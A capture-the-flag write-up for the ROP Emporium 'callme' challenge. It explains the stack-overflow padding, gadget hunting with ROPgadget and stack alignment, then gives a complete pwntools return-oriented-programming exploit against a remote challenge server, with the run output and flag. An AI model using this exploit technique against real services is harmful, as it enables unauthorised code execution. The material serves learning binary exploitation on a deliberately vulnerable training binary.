callme

The challenge description provides some good insight onto what we will be doing here:

> You must call the `callme_one()`, `callme_two()` and `callme_three()` functions in that order, each with the arguments `0xdeadbeefdeadbeef`, `0xcafebabecafebabe`, `0xd00df00dd00df00d` e.g. `callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)` to print the flag.

This gives us a good idea of what we need to do. We need to pass these arguments into the corect functions in the correct order.

Notes about the Binary

I skip almost all the static analysis in this binary, mainly because we're provided instruction on how to exploit it. However, I want to cover some of the major points that might be confusing.

Padding

The padding is simple, its `40` bytes. It's going to be the same in all the ROP emporium challenges, but dissecting `pwnme` will show you why.

The Library File

You probably noticed that we were provided with a `libcallme.so` file along with the binary. We've never been provided this before, so I want to discuss its importance.

Whenever you build a project in C, it will call on a **libc** file that contains the standard template library functions. In `gdb`, we note these functions have an `@plt` suffix (i.e. `puts@plt`). However, you can make custom library functions in the same way. In our case, we'll notice in *callme* that `callme_one` is referenced as `callme_one@plt`. This is because `callme_one` is defined in the library file, and *callme* only contains a reference to that function.

To dissect `callme_one`, we actually need to use `gdb` (or `radare2`) on the library file. Then, we can use `disas callme_one` to get the disassembly of this binary.

An important note: This makes stepping with `gdb` monumentally more difficult. Because the function is not fully in the binary, `gdb` often gets confused. The main way to fix this in our exploit file is to do the following:

```
elf = context.binary = ELF("./chall")
libc = ELF("./libcallme.so")
```

This way, the custom library file is properly loaded with the functions. Then, when we define the process using `gdb.debug`, it properly loads in the library file.

Gadget-Hunting

We need to find gadgets that load `rdi`, `rsi`, and `rdx`. We want our gadgets to be as simple as possible, so we'll be restrictive in our gadget search and broaden it as needed.

We'll start by just looking for popping gadgets, using the following:

```
$ ROPgadget --binary callme --only "pop|ret"
Gadgets information
============================================================
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006be : ret

Unique gadgets found: 14
```

We conveniently find the following gadget, which does everything we need:

```
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
```

This gadget works great! It loads all the values we could need into the registers we need. We'll use this gadget for all three functions.

> *Important note*: there is more than one way to do this problem. This happens to be the most efficient, but in the case that gadget wasn't there, there is this combination:
>
> ```
> 0x00000000004009a3 : pop rdi ; ret
> 0x000000000040093e : pop rdx ; ret
> 0x00000000004009a1 : pop rsi ; pop r15 ; ret
> ```
>
> In this case, we would need to load `r15` with a random value, but this would work just fine.

While we're at it, we're also going to grab a gadget to beat the `movaps` instruction. The longer the payload and the more jumps we make, the more often we need the gadget.

```
0x00000000004006be : ret
```

Exploitation

Let's build the exploit from the ground up.

First, we define the binary, library, and the process:

```
elf = context.binary = ELF("./callme")
libc = ELF("./libcallme.so")
p = remote('vunrotc.cole-ellis.com', 5300)
```

Then, we'll get the addresses of the `callme_` functions:

```
f_callmeone = 0x0000000000400720
f_callmetwo = 0x0000000000400740
f_callmethree = 0x00000000004006f0
```

Then we'll store the values we're going to pass to the functions:

```
v_first = 0xdeadbeefdeadbeef
v_second = 0xcafebabecafebabe
v_third = 0xd00df00dd00df00d
```

Then, we get our gadget addresses:

```
g_popRdiRdsiRdx = 0x000000000040093c
g_ret = 0x4006be
```

Now we can start building the payload. We need to use the padding to overwrite the return pointer, then perform each of the jumps and calls in order.

```
padding = b'A' * 40
ropChain = b''

# stack alignment
ropChain += p64(g_ret)

# callmeone
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmeone)
```

```
# callmetwo
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmetwo)

# callmethree
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmethree)
```

Finally, we just send off the payload!

```
print(p.recvuntil(b'> '))
p.sendline(padding + ropChain)
p.interactive()
```

Running this gives us the flag!

```
$ python3 exploit.py
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/05-
rop/callme/src/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/05-
rop/callme/src/libcallme.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to vunrotc.cole-ellis.com on port 5300: Done
b'callme by ROP Emporium\nx86_64\n\nHope you read the instructions...\n\n>
'
[*] Switching to interactive mode
Thank you!
callme_one() called correctly
callme_two() called correctly
flag{singme_callme_by_your_name}
[*] Got EOF while reading in interactive
$
```

```
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 5300
```

Here is the full exploit:

```
from pwn import *

elf = context.binary = ELF("./callme")
libc = ELF("./libcallme.so")
p = remote('vunrotc.cole-ellis.com', 5300)

# important functions
f_callmeone = 0x0000000000400720
f_callmetwo = 0x0000000000400740
f_callmethree = 0x00000000004006f0

# data
v_first = 0xdeadbeefdeadbeef
v_second = 0xcafebabecafebabe
v_third = 0xd00df00dd00df00d

# gadgets
g_popRdiRdsiRdx = 0x000000000040093c
g_ret = 0x4006be

padding = b'A' * 40
ropChain = b''

# stack alignment
ropChain += p64(g_ret)

# callmeone
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmeone)

# callmetwo
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmetwo)

# callmethree
ropChain += p64(g_popRdiRdsiRdx)
ropChain += p64(v_first)
ropChain += p64(v_second)
ropChain += p64(v_third)
ropChain += p64(f_callmethree)
```

```
# send the payload
print(p.recvuntil(b'> '))
p.sendline(padding + ropChain)
p.interactive()
```

We notice that our exploits are getting exponentially longer in 64-bit as we need to load registers, pass values into those registers, and then call the desired functions. In the next binary, we'll take this a step further to introduce new data into the binary and then use our data to pass our own values.